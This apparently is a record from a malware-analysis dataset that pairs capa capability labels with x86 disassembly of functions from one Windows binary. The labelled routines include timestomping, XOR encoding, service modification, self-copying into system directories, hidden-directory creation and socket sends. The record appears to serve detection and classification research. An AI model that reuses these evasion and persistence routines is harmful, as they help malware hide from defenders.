joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40cecb
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
cmp byte [0x458dd8], 0
je 0x40cf3e
cmp byte [0x458dd9], 0
jne 0x40cf3e
push 0x458ee8
call fcn.0040ce0c
lea eax, [ebp - 0x108]
mov dword [esp], 0x100
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
test eax, eax
je 0x40cf3e
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp byte [ebp + eax - 0x108], 0x5c
je 0x40cf31
push 0x42a3c0
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x108]
push eax
call fcn.0040ce0c
pop ecx
push 0x458ff0
call fcn.0040ce0c
pop ecx
leave
ret
Function at 0x40d310
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x360
push ebx
push esi
push edi
push 0x41
pop ecx
xor eax, eax
push 0x41
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov byte [ebp - 0x150], 0
lea edi, [ebp - 0x14f]
rep stosd dword es:[edi], eax
pop ecx
push 0x41
mov byte [ebp - 0x258], al
lea edi, [ebp - 0x257]
rep stosd dword es:[edi], eax
pop ecx
mov byte [ebp - 0x360], al
push 0xf
lea edi, [ebp - 0x35f]
rep stosd dword es:[edi], eax
mov byte [ebp - 0x48], al
pop ecx
lea edi, [ebp - 0x47]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x459310
lea eax, [ebp - 0x150]
push eax
call ebx
lea eax, [ebp - 0x150]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [ebp + eax - 0x150]
mov al, 0x5c
cmp byte [esi], al
je 0x40d3a5
lea ecx, [ebp - 0x150]
cmp esi, ecx
jbe 0x40d39d
dec esi
cmp byte [esi], al
jne 0x40d38e
cmp byte [esi], al
jne 0x40d53e
lea ecx, [esi + 1]
mov dword [ebp - 8], ecx
jmp 0x40d3b6
cmp esi, ecx
jbe 0x40d53e
dec esi
cmp byte [esi], al
lea ecx, [ebp - 0x150]
je 0x40d3ad
cmp esi, ecx
jbe 0x40d53e
mov byte [esi + 1], 0
cmp byte [esi], al
je 0x40d3e7
lea ecx, [ebp - 0x150]
cmp esi, ecx
jbe 0x40d3df
dec esi
cmp byte [esi], al
jne 0x40d3d0
cmp byte [esi], al
jne 0x40d53e
inc esi
push esi
call fcn.00413fbd
movzx eax, byte [esi]
push esi
push 5
cdq
pop ecx
idiv ecx
lea eax, [ebp - 0x48]
add edx, 6
push edx
push eax
call fcn.004131fb
add esp, 0x10
lea eax, [ebp - 0x150]
push eax
lea eax, [ebp - 0x258]
push eax
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
mov edi, 0x42a3c0
push edi
lea eax, [ebp - 0x258]
push eax
call esi
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x258]
push eax
call esi
push dword [ebp - 8]
lea eax, [ebp - 0x258]
push eax
call esi
lea eax, [ebp - 0x150]
push eax
lea eax, [ebp - 0x360]
push eax
call ebx
push edi
lea eax, [ebp - 0x360]
push eax
call esi
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x360]
push eax
call esi
push 0x42a564
lea eax, [ebp - 0x360]
push eax
call esi
push dword [ebp - 8]
lea eax, [ebp - 0x360]
push eax
call esi
lea eax, [ebp - 0x258]
push eax
mov byte [ebp - 1], 0
call fcn.004136ca
test eax, eax
mov edi, dword [sym.imp.KERNEL32.dll_SetPriorityClass]
pop ecx
je 0x40d533
push 0x80
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call edi
xor esi, esi
push dword [ebp - 8]
call fcn.00414234
test eax, eax
pop ecx
jle 0x40d4d4
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
inc esi
cmp esi, 0xa
jl 0x40d4b6
lea eax, [ebp - 0x360]
push eax
mov esi, 0x459310
push esi
call fcn.00413802
test al, al
pop ecx
pop ecx
je 0x40d4f0
mov byte [ebp - 1], 1
lea eax, [ebp - 0x258]
push esi
push eax
call fcn.00413802
test al, al
pop ecx
pop ecx
push 1
je 0x40d50e
xor eax, eax
push eax
push dword [ebp + 8]
push esi
jmp 0x40d51b
xor eax, eax
push eax
push dword [ebp + 8]
lea ecx, [ebp - 0x258]
push ecx
push eax
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp byte [ebp - 1], 0
je 0x40d533
lea eax, [ebp - 0x360]
push eax
push esi
call ebx
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40d7ce
Capabilities:
Create thread
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x190
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0x458d80
call edi
xor esi, esi
cmp dword [ebp + 0x14], 1
jne 0x40d7f2
mov esi, dword [ebp + 0x10]
and dword [ebp + 0x14], 0
test esi, esi
je 0x40d833
jmp 0x40d7fd
inc esi
cmp byte [esi], 0x22
je 0x40d7fc
mov ebx, 0x42a778
jmp 0x40d80c
mov byte [eax], 0
push ebx
push esi
call fcn.00413394
test eax, eax
pop ecx
pop ecx
jne 0x40d809
push 0x42a7b8
push esi
call fcn.00413394
test eax, eax
pop ecx
pop ecx
mov dword [ebp + 0x14], eax
je 0x40d833
inc dword [ebp + 0x14]
mov byte [eax], 0
push 0x8003
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
push 0x459438
push 0x459434
push 0x459430
push 0x45942c
push 0x459428
call fcn.00408a88
add esp, 0x14
test al, al
je 0x40da21
push 0x104
mov ebx, 0x458ee8
push ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0x42a3c0
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push ebx
call fcn.00414692
pop ecx
call fcn.0040be23
call fcn.0040d21c
xor ebx, ebx
cmp esi, ebx
je 0x40d916
mov al, byte [esi]
cmp al, 0x2d
jne 0x40d8ec
push 0x15
inc esi
call fcn.0040c2c0
test al, al
pop ecx
je 0x40d8ce
mov byte [0x459658], 1
cmp byte [esi], bl
je 0x40d8c5
push esi
push 0x459310
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov dword [ebp + 0x14], 0x40d5b1
jmp 0x40d946
push 0x16
call fcn.0040c2c0
test al, al
pop ecx
je 0x40da21
mov byte [0x459658], 1
cmp byte [esi], 0
je 0x40d93f
jmp 0x40d908
cmp al, 0x24
jne 0x40d916
push 0x18
call fcn.0040c2c0
test al, al
pop ecx
je 0x40da21
mov byte [0x459660], 1
inc esi
push esi
push 0x459310
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x40d93f
push 0x17
call fcn.0040c2c0
test al, al
pop ecx
je 0x40da21
cmp esi, ebx
je 0x40d93f
push esi
push 0x459310
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push dword [ebp + 0x14]
call fcn.0040d310
pop ecx
mov dword [ebp + 0x14], 0x40ce04
call fcn.0040a6bb
call fcn.0040d543
jmp 0x40d95c
call fcn.00413936
call fcn.00413915
call fcn.0040d255
test al, al
jne 0x40d952
lea eax, [ebp - 0x190]
push eax
push 0x101
call dword [0x458b88]
push 0x44f7b8
call edi
push 0x44f79c
call edi
push 0x4596f8
call edi
push 0x45982c
call edi
push 0x44f7e0
call edi
push 0x459664
call edi
push 0x4596dc
call edi
push 0x4596c4
call edi
push 0x4596ac
call edi
push 0x459694
call edi
push 0x45967c
call edi
cmp byte [0x459660], 0
je 0x40d9e3
call fcn.0040d05f
test al, al
je 0x40d9de
push 0x1a
call fcn.0040c240
pop ecx
call fcn.00410886
call fcn.0040cecb
call fcn.0040c552
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push ebx
push ebx
push ebx
push 0x40c1a3
push ebx
push ebx
call esi
push ebx
push ebx
push ebx
push 0x40cf4b
push ebx
push ebx
call esi
cmp byte [0x459660], 0
je 0x40da19
call fcn.0041074c
call fcn.0040c412
call dword [ebp + 0x14]
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 0x10
Function at 0x40e61f
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
cmp byte [ebp + 0x18], bl
push esi
push edi
je 0x40e63e
push 0x1770
mov byte [0x459661], bl
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x4bc
mov byte [0x459661], 1
call fcn.00410937
push 7
mov edi, str.http:__
push edi
push dword [ebp + 8]
mov esi, eax
call fcn.00421d71
add esp, 0x10
test eax, eax
je 0x40e67c
push edi
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatA]
jmp 0x40e686
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea edi, [esi + 0x480]
push edi
lea ecx, [esi + 0x300]
push ecx
lea eax, [esi + 0x200]
push eax
push dword [ebp + 8]
call fcn.0040e8ba
mov al, byte [ebp + 0x1c]
mov byte [esi + 0x495], al
mov eax, dword [ebp + 0x10]
add esp, 0x10
mov byte [esi + 0x494], 1
mov dword [esi + 0x4a4], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0x3e8
div ecx
push dword [ebp + 0xc]
mov dword [esi + 0x4a0], eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp eax, 0x7f
lea eax, [esi + 0x400]
jg 0x40e6f4
push dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x40e702
push 0x7f
push dword [ebp + 0xc]
push eax
call fcn.00421710
add esp, 0xc
lea eax, [esi + 0x200]
push eax
mov word [esi + 0x484], 2
call fcn.004134ef
mov dword [esi + 0x488], eax
xor eax, eax
mov ax, word [edi]
pop ecx
push eax
call dword [0x458cdc]
cmp dword [ebp + 0x24], 1
mov word [esi + 0x486], ax
mov al, byte [ebp + 0x20]
mov byte [esi + 0x496], al
lea eax, [esi + 0x498]
mov dword [esi + 0x4b8], ebx
mov dword [esi + 0x4b4], ebx
mov dword [esi + 0x4b0], ebx
mov dword [esi + 0x4ac], ebx
mov dword [esi + 0x4a8], ebx
mov byte [eax], bl
mov byte [esi + 0x497], bl
mov byte [esi + 0x499], bl
jne 0x40e77e
mov byte [eax], 1
mov byte [esi + 0x497], 1
jmp 0x40e791
cmp dword [ebp + 0x24], 2
je 0x40e775
cmp dword [ebp + 0x24], 3
jne 0x40e791
mov byte [esi + 0x499], 1
mov eax, dword [ebp + 0x28]
dec eax
je 0x40e7ba
push 2
pop ecx
sub eax, ecx
je 0x40e7b2
dec eax
je 0x40e7aa
or dword [esi + 0x49c], 0xffffffff
jmp 0x40e7c4
mov dword [esi + 0x49c], ecx
jmp 0x40e7c4
mov dword [esi + 0x49c], ebx
jmp 0x40e7c4
mov dword [esi + 0x49c], 0xfffffffe
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
lea eax, [ebp - 4]
push eax
push ebx
push esi
push 0x40e403
push ebx
push ebx
call edi
mov eax, dword [ebp + 0x14]
cmp eax, 1
jl 0x40e805
mov dword [ebp + 0x18], eax
lea eax, [ebp - 4]
push eax
push ebx
push esi
push 0x40db35
push ebx
push ebx
call edi
dec dword [ebp + 0x18]
jne 0x40e7e4
jmp 0x40e802
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp + 0x14]
cmp dword [esi + 0x4b4], eax
jb 0x40e7fa
pop edi
pop esi
pop ebx
leave
ret
Function at 0x410078
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push ebx
push esi
push edi
xor ebx, ebx
push 0x40
pop ecx
push dword [ebp + 8]
xor eax, eax
mov byte [ebp - 0x108], bl
lea edi, [ebp - 0x107]
rep stosd dword es:[edi], eax
mov edi, dword [ebp + 0x10]
mov dword [ebp - 4], ebx
mov dword [edi], ebx
call fcn.0041345e
mov esi, eax
cmp esi, 9
pop ecx
jb 0x410148
lea eax, [esi - 8]
push esi
mov dword [edi], eax
call fcn.00410937
pop ecx
push ebx
push 0x80
push 3
push ebx
push 1
push connect
push dword [ebp + 8]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp + 0x10], eax
je 0x410141
push ebx
lea ecx, [ebp - 4]
push ecx
push esi
push edi
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
movzx eax, byte [ebp + 0xc]
push 0xa
cdq
pop ecx
idiv ecx
lea eax, [ebp - 0x108]
add edx, 0xf3
push edx
push eax
call fcn.00413296
push eax
push esi
push edi
call fcn.0041a106
lea ebx, [esi + edi]
add esi, 0xfffffffc
push esi
push edi
call fcn.0041005c
add esp, 0x1c
cmp dword [ebx - 4], eax
jne 0x410141
mov eax, dword [ebx - 8]
mov ecx, dword [ebp + 0x14]
mov dword [ecx], eax
mov eax, edi
jmp 0x41014a
push edi
call fcn.0041097e
pop ecx
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4103cd
Capabilities:
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push edi
mov edi, 0x80
push edi
push dword [ebp + 8]
xor ebx, ebx
mov dword [ebp - 4], ebx
call esi
push ebx
push edi
push 2
push ebx
push 2
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x410431
mov edi, dword [ebp + 0x10]
push 0
lea eax, [ebp - 4]
push eax
push edi
push dword [ebp + 0xc]
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 2
push dword [ebp + 8]
call esi
cmp dword [ebp - 4], edi
jne 0x410431
mov al, 1
jmp 0x410433
xor al, al
pop edi
pop esi
pop ebx
leave
ret
Function at 0x410438
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
and dword [ebp - 4], 0
and dword [ebp - 8], 0
push ebx
push esi
push edi
push 0x40
xor eax, eax
pop ecx
mov byte [ebp - 0x210], 0
lea edi, [ebp - 0x20f]
rep stosd dword es:[edi], eax
mov byte [ebp - 0x10c], al
push 0x40
pop ecx
lea edi, [ebp - 0x10b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call fcn.00413c5b
mov esi, dword [ebp + 0x10]
lea ebx, [esi + 8]
push ebx
mov dword [ebp - 8], eax
call fcn.00410937
push esi
push dword [ebp + 0xc]
mov edi, eax
push edi
call fcn.00421200
push 4
lea ecx, [ebp - 8]
lea eax, [edi + esi]
push ecx
push eax
mov dword [ebp + 0x10], eax
call fcn.00421200
add esi, 4
push esi
push edi
call fcn.0041005c
mov dword [ebp - 4], eax
push 4
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp + 0x10]
add eax, 4
push eax
call fcn.00421200
movzx eax, byte [ebp + 8]
push 0xa
cdq
pop ecx
idiv ecx
lea eax, [ebp - 0x210]
add edx, 0xf3
push edx
push eax
call fcn.00413296
push eax
push ebx
push edi
call fcn.0041a06a
add esp, 0x44
push dword [ebp + 8]
lea eax, [ebp - 0x210]
push eax
call fcn.00413365
cmp byte [0x458dd8], 0
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
pop ecx
pop ecx
je 0x4105e3
push 0x458ee8
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x10c]
push eax
call esi
push ebx
lea eax, [ebp - 0x10c]
push edi
push eax
call fcn.004103cd
lea eax, [ebp - 0x10c]
push eax
push 0x26
call fcn.00413c07
add esp, 0x14
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x10c]
push eax
call esi
push ebx
lea eax, [ebp - 0x10c]
push edi
push eax
call fcn.004103cd
lea eax, [ebp - 0x10c]
push eax
push 0x1c
call fcn.00413c07
add esp, 0x14
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x10c]
push eax
call esi
push ebx
lea eax, [ebp - 0x10c]
push edi
push eax
call fcn.004103cd
add esp, 0xc
push pe_nt_image_headers32
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0x42a3c0
lea eax, [ebp - 0x10c]
push eax
call esi
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x10c]
push eax
call esi
push ebx
lea eax, [ebp - 0x10c]
push edi
push eax
call fcn.004103cd
add esp, 0xc
push 0x458ff0
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x10c]
push eax
call esi
push ebx
lea eax, [ebp - 0x10c]
push edi
push eax
call fcn.004103cd
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push ebx
lea eax, [ebp - 0x10c]
push edi
push eax
call fcn.004103cd
push edi
call fcn.0041097e
add esp, 0x10
pop edi
pop esi
mov al, 1
pop ebx
leave
ret
Function at 0x41135e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
push 0x10
pop ecx
xor eax, eax
push 0x100
push eax
mov byte [ebp - 0x44], 0
lea edi, [ebp - 0x43]
push ebx
rep stosd dword es:[edi], eax
call fcn.00421540
lea eax, [ebp - 0x44]
push eax
push dword [ebp + 8]
call fcn.0041a1a2
lea eax, [ebp - 0x44]
push ebx
push eax
call fcn.00416e03
push 0x40
lea eax, [ebp - 0x44]
push eax
lea eax, [ebx + 0x20]
push eax
call fcn.00421200
add esp, 0x28
push 0x40
lea edi, [ebx + 0x60]
lea esi, [ebx + 0x5a]
pop ecx
rep movsb byte es:[edi], byte [esi]
xor eax, eax
mov cl, byte [eax + ebx + 0x9f]
xor cl, byte [eax + ebx]
inc eax
cmp eax, 0x20
mov byte [eax + ebx + 0x9f], cl
jl 0x4113b9
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
xor ecx, ecx
test esi, esi
jle 0x4113f7
mov al, byte [ecx + ebx + 0xbd]
xor al, byte [ecx + ebx]
inc ecx
cmp ecx, esi
mov byte [ecx + ebx + 0xbf], al
jl 0x4113e1
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret

Function at 0x411a0a
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x119c
call fcn.004216d0
push ebx
push esi
push edi
push 0x46
lea eax, [ebp - 0x70]
push eax
push str.ddd__dd_MMM_yyyy
xor ebx, ebx
push ebx
push ebx
mov esi, 0x409
push esi
call dword [sym.imp.KERNEL32.dll_GetDateFormatA]
push 0x1e
lea eax, [ebp - 0x28]
push eax
push str.HH:mm:ss
push ebx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetTimeFormatA]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x70]
push eax
push 0x12c
lea eax, [ebp - 0x19c]
push eax
push 0x42fe00
call fcn.00413043
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push eax
lea eax, [ebp - 0x119c]
push eax
call esi
mov eax, 0x448062
add esp, 0x20
mov dword [ebp - 8], eax
mov edi, eax
mov dword [ebp - 4], 0x13
push 2
push dword [ebp + 0xc]
lea eax, [edi - 2]
push eax
call fcn.00421d71
add esp, 0xc
test eax, eax
jne 0x411ab6
mov dword [ebp - 8], edi
add edi, 0x80
dec dword [ebp - 4]
jne 0x411a9e
push dword [ebp - 8]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push str._h1__s__h1__r_n_r_n
lea eax, [ebp - 0x119c]
push eax
call edi
lea eax, [ebp + eax - 0x119c]
push eax
call esi
add esp, 0xc
push ebx
lea eax, [ebp - 0x119c]
push eax
call edi
push eax
lea eax, [ebp - 0x119c]
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_send]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x413332
Capabilities:
Encode data using xor

Disassembly:
push esi
xor esi, esi
push 0x458d98
inc esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
movzx eax, al
xor ecx, ecx
test eax, eax
jbe 0x413361
push edi
movzx edx, byte [ecx + 0x458d98]
mov edi, edx
imul edi, esi
xor edi, edx
inc ecx
cmp ecx, eax
mov esi, edi
jb 0x41334b
pop edi
mov eax, esi
pop esi
ret

Function at 0x41345e
Capabilities:
Get file size

Disassembly:
push esi
push edi
xor edi, edi
push edi
push 0x80
push 3
push edi
push 1
push connect
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
inc eax
neg eax
sbb eax, eax
and eax, edi
pop edi
pop esi
ret

Function at 0x413645
Capabilities:
Modify service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push 0xf003f
push str.ServicesActive
xor ebx, ebx
push ebx
mov byte [ebp - 1], 1
call dword [0x458c44]
mov esi, eax
cmp esi, ebx
jne 0x41366e
xor al, al
jmp 0x4136c6
push edi
push 0xf01ff
push dword [ebp + 8]
push esi
call dword [0x458cd4]
mov edi, eax
cmp edi, ebx
jne 0x413687
mov byte [ebp - 1], bl
lea eax, [ebp - 0x20]
push eax
push 1
push edi
call dword [0x458c70]
test eax, eax
jne 0x41369b
mov byte [ebp - 1], bl
cmp byte [ebp + 0xc], bl
je 0x4136b4
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0xffffffffffffffff
push 4
push 0xffffffffffffffff
push esi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigA]
push edi
call dword [0x458bb0]
push esi
call dword [0x458bb0]
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4136ca
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
ret
Function at 0x4136df
Capabilities:
Timestomp file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push esi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.00421658
pop ecx
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
mov word [ebp - 0x28], 0x7d9
call fcn.00421662
cdq
push 7
pop ecx
idiv ecx
mov word [ebp - 0x26], dx
call fcn.00421662
push 0x12
cdq
pop ecx
idiv ecx
mov esi, dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x28]
push eax
inc edx
mov word [ebp - 0x22], dx
call esi
inc word [ebp - 0x26]
add word [ebp - 0x22], 2
call fcn.00421662
cdq
push 0xa
pop ecx
idiv ecx
inc edx
mov word [ebp - 0x20], dx
call fcn.00421662
cdq
push 0x32
pop ecx
idiv ecx
inc edx
mov word [ebp - 0x1e], dx
call fcn.00421662
push 0x37
cdq
pop ecx
idiv ecx
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x28]
push eax
inc edx
mov word [ebp - 0x1c], dx
call esi
call fcn.00421662
cdq
push 2
pop ecx
idiv ecx
add word [ebp - 0x22], 3
add word [ebp - 0x26], dx
call fcn.00421662
cdq
push 0xa
pop ecx
idiv ecx
inc edx
mov word [ebp - 0x20], dx
call fcn.00421662
cdq
push 0x32
pop ecx
idiv ecx
inc edx
mov word [ebp - 0x1e], dx
call fcn.00421662
push 0x37
cdq
pop ecx
idiv ecx
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x28]
push eax
inc edx
mov word [ebp - 0x1c], dx
call esi
push 0
push 0x80
push 3
push 0
push 2
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x4137ff
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x18]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
leave
ret

Function at 0x413802
Capabilities:
Delete file
Move file
Set file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
push esi
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x41381a
xor al, al
pop esi
ret
push 0x80
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push esi
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
setne al
pop esi
ret
Function at 0x413973
Capabilities:
Create directory
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push esi
lea eax, [ebp - 0xc]
push eax
xor esi, esi
push 8
mov dword [ebp - 4], esi
mov dword [ebp - 8], esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [0x458cc4]
test eax, eax
jne 0x4139a4
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x413ac8
push edi
lea eax, [ebp - 8]
push eax
push esi
push esi
xor edi, edi
inc edi
push edi
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
cmp eax, 0x7a
je 0x4139ce
call esi
mov esi, eax
jmp 0x413ab1
push ebx
push dword [ebp - 8]
call fcn.00410937
pop ecx
mov ebx, eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push ebx
push edi
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x413a92
push dword [ebx]
call dword [sym.imp.ADVAPI32.dll_GetLengthSid]
add eax, 0x10
push eax
mov dword [ebp - 0x10], eax
call fcn.00410937
pop ecx
push 2
push dword [ebp - 0x10]
mov dword [ebp - 4], eax
push eax
call dword [sym.imp.ADVAPI32.dll_InitializeAcl]
test eax, eax
je 0x413a92
push dword [ebx]
push 0x101fffff
push 2
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_AddAccessAllowedAce]
test eax, eax
je 0x413a92
push edi
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
push edi
push dword [ebp - 4]
lea eax, [ebp - 0x30]
push edi
push eax
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
push edi
push dword [ebx]
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorOwner]
push edi
push 0
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorGroup]
push edi
push 0
push 0
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorSacl]
lea eax, [ebp - 0x30]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x1c]
push eax
push dword [ebp + 8]
mov dword [ebp - 0x1c], 0xc
mov dword [ebp - 0x14], edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
call esi
test ebx, ebx
mov esi, eax
je 0x413aa1
push ebx
call fcn.0041097e
pop ecx
cmp dword [ebp - 4], 0
pop ebx
je 0x413ab1
push dword [ebp - 4]
call fcn.0041097e
pop ecx
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 6
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov eax, esi
pop edi
pop esi
leave
ret